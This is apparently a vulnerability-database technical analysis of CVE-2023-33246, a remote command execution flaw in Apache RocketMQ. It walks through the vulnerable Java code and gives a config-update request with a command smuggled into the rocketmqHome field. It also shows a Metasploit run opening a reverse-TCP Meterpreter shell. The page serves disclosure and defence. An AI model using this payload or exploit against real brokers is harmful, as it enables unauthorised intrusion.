Attacker Value
Low
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2023-33246

Disclosure Date: May 24, 2023
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. 

Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. 

To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .

Add Assessment

2
Ratings
  • Attacker Value
    Low
  • Exploitability
    Very High
Technical Analysis

Description

Multiple different components of RocketMQ including the NameServer, Broker, and Controller are by default leaked on the extranet of the network the system is operating within and are accessible without authentication. The vulnerability can be exploited by using the “update configuration” function to send arbitrary commands to the system which will be executed in the context of the user running the application.

Vulnerable Versions

Apache RocketMQ versions vulnerable to RCE (CVE-2023-33246):

  • 5.1.0 – 5.0.0
  • <= 4.9.5

Vulnerable Environment

A vulnerable environment can be spun up using the following docker commands. Both the NameServer and Broker containers are required:

docker pull apache/rocketmq:4.9.5
docker run --rm--name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

Is Windows Vulnerable?

The short answer: no. Many blogs commented on the Unix PoC and all said “Apache RocketMQ ” is vulnerable without ever mentioning which platform it had to be running on. So I assumed Windows would be vulnerable as well and went out to try and exploit it.

The only difference between the exploitation paths on Windows and Unix is here in FilterServerManager.buildStartCommand(), where the command that is sent to Runtime.getRuntime().exec gets built:

        if (RemotingUtil.isWindowsPlatform()) {
            return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        } else {
            return String.format("sh %s/bin/startfsrv.sh %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        }
  • Windows entry point Runtime.getRuntime().exec("start /b <PAYLOAD>")
  • Unix entry point Runtime.getRuntime().exec("sh <PAYLOAD>")

When attempting to exploit the vulnerability on windows, in C:\Users\msfuser\logs\rocketmq\logs\broker.log I kept seeing the following error:

java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified

Even when attempting to run the happy path of updating the RocketMQ broker config, same error. That is because you can’t use the start command directly in the Runtime.getRuntime().exec() method in Java. The start command is a Windows-specific command and is not recognized by the Java runtime.

This is a bug in the RocketMQ implementation. I would have raised an issue with them regarding this had they not ripped out the entire functionality due to the emergence of the vulnerability I’m writing about.

You can try this at home with the following test class:

public class MyClass {

   public static void main(String[] args) {
      try {
         String[] cmdArray =  {"start", " /b", "C:\\Windows\\System32\\notepad.exe"};  
         Process process = Runtime.getRuntime().exec(cmdArray);
      } catch (Exception ex) {
         ex.printStackTrace();
      }
    }
}

Simply compile, execute and see the following error:

D:\rocketmq>javac MyClass.java
D:\rocketmq>java MyClass
java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified
        at java.lang.ProcessBuilder.start(Unknown Source)
        at java.lang.Runtime.exec(Unknown Source)
        at java.lang.Runtime.exec(Unknown Source)
        at MyClass.main(MyClass.java:9)
Caused by: java.io.IOException: CreateProcess error=2, The system cannot find the file specified
        at java.lang.ProcessImpl.create(Native Method)
        at java.lang.ProcessImpl.<init>(Unknown Source)
        at java.lang.ProcessImpl.start(Unknown Source)
        ... 4 more

Exploitation Details

The patch diff tells a clear story, the FilterServerManager & FilterServerUtil classes were completely removed from the application. Analyzing the code removed we see a potential RCE entry point Runtime.getRuntime().exec(cmdArray), inside FilterServerUtil.callShell():

public class FilterServerUtil {
    public static void callShell(final String shellString, final InternalLogger log) {
        Process process = null;
        try {
            String[] cmdArray = splitShellString(shellString);
            process = Runtime.getRuntime().exec(cmdArray);
            process.waitFor();
            log.info("CallShell: <{}> OK", shellString);
        } catch (Throwable e) {
            log.error("CallShell: readLine IOException, {}", shellString, e);
        } finally {
            if (null != process)
                process.destroy();
        }
    }

    private static String[] splitShellString(final String shellString) {
        return shellString.split(" ");
    }
}

Working backwards from there we can see callShell is called from: FilterServerManager.createFilterServer():

    public void createFilterServer() {
        int more =
            this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
        String cmd = this.buildStartCommand();
        for (int i = 0; i < more; i++) {
            FilterServerUtil.callShell(cmd, log);
        }
    }

The createFilterServer() method will be called every 30 seconds according to the inside of the FilterServerManager.start()

    public void start() {

        this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
            @Override
            public void run() {
                try {
                    FilterServerManager.this.createFilterServer();
                } catch (Exception e) {
                    log.error("", e);
                }
            }
        }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
    }

The command that gets executed by Runtime.getRuntime().exec is created by the following method FilterServerManager.buildStartCommand(). We see from the last else block if the system we’re exploit is not Windows, the command run will be sh %s ... where %s get substituted for getRocketmqHome() which is an user controlled parameter when the user sends a request to update the broker configuration.

    private String buildStartCommand() {
        String config = "";
        if (BrokerStartup.configFile != null) {
            config = String.format("-c %s", BrokerStartup.configFile);
        }

        if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
            config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
        }

        if (RemotingUtil.isWindowsPlatform()) {
            return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        } else {
            return String.format("sh %s/bin/startfsrv.sh %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        }
    }

Below is the request that can be sent to the Broker component of ApacheMQ to update the broker configuration or to obtain remote code execution. (note the payload inside of the rocketmqHome parameter also the binary header required to exploit is not included in the payload below)

`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=-c $@|sh . echo <Unix payload of your choice :)>`

There is one more aspect of the vulnerability that should be noted, above in callShell you’ll notice the following two lines:

            String[] cmdArray = splitShellString(shellString);
            process = Runtime.getRuntime().exec(cmdArray);

FilterServerUtil.splitShellString(final String shellString) is defined as the following:

    private static String[] splitShellString(final String shellString) {
        return shellString.split(" ");
    }

This means if the incoming command includes a space it will be split into an array and the first element of the array will be the command (ex: sh) and the rest of the elements of the array will be the arguments to that command. Getting a long string of multiple commands which all contain spaces to execute, is an exercise in ShellFu:

-c $@|sh . echo <PAYLOAD CONTAINING SPACES>

The argument $@ represents all the parameters passed to the script or command and directly passes the value after echo to $@ as a whole which solves the issue introduced by shellString.split

Metasploit Exploitation

Below is an example of a vulnerable RocketMQ instance being targeted by the apache_rocketmq_update_config metasploit module in order to establish a Meterpreter session in the context of the rocketmq user.

msf6 > use multi/http/apache_rocketmq_update_config
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158
lhost => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158
FETCH_SRVHOST => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > run

[*] Started reverse TCP handler on 172.16.199.158:4444
[*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4
[*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911
[*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911
[+] 127.0.0.1:9876 - Payload length: 252, (must not exceed 255 characters)
[*] Sending stage (3045348 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.16.199.158:4444 -> 172.17.0.3:37576) at 2023-06-27 14:49:18 -0700

meterpreter > getuid
Server username: rocketmq
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : CentOS 7.9.2009 (Linux 5.15.0-75-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

AKB Rating Explanation

The Broker component by default listens on the extranet on port 10911. This vulnerable endpoint shouldn’t be exposed to the internet by default and is why I decided to go with a lower attacker value. However, if an attacker is already in the network this vuln is easily exploitable and provides an excellent pivot point.

References

https://blogs.juniper.net/en-us/threat-research/cve-2023-33246-apache-rocketmq-remote-code-execution-vulnerability
https://blog.csdn.net/qq_41904294/article/details/130987233

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • apache

Products

  • rocketmq

Additional Info

Technical Analysis